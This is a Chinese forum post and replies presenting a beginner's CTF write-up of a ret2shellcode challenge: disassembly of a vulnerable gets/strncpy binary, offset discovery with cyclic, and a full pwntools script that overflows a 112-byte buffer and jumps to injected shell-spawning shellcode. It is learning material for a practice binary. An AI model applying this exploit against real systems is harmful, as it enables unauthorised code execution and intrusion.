吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2413|回复: 7
收起左侧

[CTF] ret2shellcode

  [复制链接]
Panel 发表于 2023-6-8 23:28
本帖最后由 Panel 于 2023-6-8 23:39 编辑

ret2shellcode

学了快一天pwn了,感觉这个ret2shellcode挺好玩,记录一下,各位pwn爷带带我

1.checksec一下文件,没有NX保护(写和执行属性互斥)

image-20230608230613236.png

2.查看是否有system调用objdump -d rt2 |grep system ,没有

image-20230608230721176.png

3.查看汇编逻辑
pwndbg> disass main
Dump of assembler code for function main:
   0x0804852d <+0>:        push   ebp
   0x0804852e <+1>:        mov    ebp,esp
   0x08048530 <+3>:        and    esp,0xfffffff0
   0x08048533 <+6>:        add    esp,0xffffff80
   0x08048536 <+9>:        mov    eax,ds:0x804a060
   0x0804853b <+14>:        mov    DWORD PTR [esp+0xc],0x0
   0x08048543 <+22>:        mov    DWORD PTR [esp+0x8],0x2
   0x0804854b <+30>:        mov    DWORD PTR [esp+0x4],0x0
   0x08048553 <+38>:        mov    DWORD PTR [esp],eax
   0x08048556 <+41>:        call   0x8048410 <setvbuf@plt>
   0x0804855b <+46>:        mov    eax,ds:0x804a040
   0x08048560 <+51>:        mov    DWORD PTR [esp+0xc],0x0
   0x08048568 <+59>:        mov    DWORD PTR [esp+0x8],0x1
   0x08048570 <+67>:        mov    DWORD PTR [esp+0x4],0x0
   0x08048578 <+75>:        mov    DWORD PTR [esp],eax
   0x0804857b <+78>:        call   0x8048410 <setvbuf@plt>
   0x08048580 <+83>:        mov    DWORD PTR [esp],0x8048660 
   0x08048587 <+90>:        call   0x80483e0 <puts@plt> //打印出提示你没有system调用
   0x0804858c <+95>:        lea    eax,[esp+0x1c]
   0x08048590 <+99>:        mov    DWORD PTR [esp],eax  //gets放入esp+0x1c
   0x08048593 <+102>:        call   0x80483d0 <gets@plt>
   0x08048598 <+107>:        mov    DWORD PTR [esp+0x8],0x64
   0x080485a0 <+115>:        lea    eax,[esp+0x1c]       //将输入拷贝进0x804a080
   0x080485a4 <+119>:        mov    DWORD PTR [esp+0x4],eax
   0x080485a8 <+123>:        mov    DWORD PTR [esp],0x804a080
   0x080485af <+130>:        call   0x8048420 <strncpy@plt> 
   0x080485b4 <+135>:        mov    DWORD PTR [esp],0x8048680
   0x080485bb <+142>:        call   0x80483c0 <printf@plt>
   0x080485c0 <+147>:        mov    eax,0x0
   0x080485c5 <+152>:        leave  
   0x080485c6 <+153>:        ret    
End of assembler dump.
0x804a080我们输入的要拷贝到这里来,那么我们就可以把系统调用sh的机器码拷贝进去,且把0x804a080作为返回地址(当然要0x804a080可执行),那是不是就拿到获得sh了。
看一下这个地址的属性vmmap,发现0x804a080可执行

image-20230608231618579.png

下一步就是查看我们输入参与返回地址的偏移了,先用cyclic构造一个足够溢出的字符串,随后cyclic -l 无效地址   即可得到偏移,如下图

image-20230608232305327.png

那再说一下思路就写exp
gets输入为我们系统调用获得sh的汇编,该汇编会被拷贝进0x804a080,返回地址偏移我们输入缓冲区112字节,前112字节填充我们的汇编以及垃圾字符,随后的四字节就是返回地址,填充为0x804a080,完事,exp如下:
from pwn import *

context(arch = "i386",os = "linux")

p = process("./rt2")

#返回地址偏移
ret_offset = 112

#调用获取shell汇编生成
shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(112,b'a')+p32(0x804a080)

p.sendline(payload)

p.interactive()

免费评分

参与人数 2吾爱币 +8 热心值 +2 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
yp17792351859 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| Panel 发表于 2023-6-8 23:28
本帖最后由 Panel 于 2023-6-9 18:57 编辑

直接没人交流交流带带我
中原一点红 发表于 2023-6-9 22:08
arttnba3 发表于 2023-6-9 23:39
Panel 发表于 2023-6-8 23:28
直接没人交流交流带带我

写得还行,不过ret2shellcode算是 Pwn 里边最基础的技术之一,真要说有啥能交流的新东西我其实也想不出...
zjh889 发表于 2023-6-10 00:07
这个东西·,好像挺复杂滴!
aa5968819 发表于 2023-6-10 02:43
大风刮过过过过过过过过过过过过过过过过过过过过过过说
 楼主| Panel 发表于 2023-6-10 13:15
arttnba3 发表于 2023-6-9 23:39
写得还行,不过ret2shellcode算是 Pwn 里边最基础的技术之一,真要说有啥能交流的新东西我其实也想不出.. ...

刚入门,想找人带带
业余小徐 发表于 2023-8-11 16:40
路过浏览一下,加油
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 20:20

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表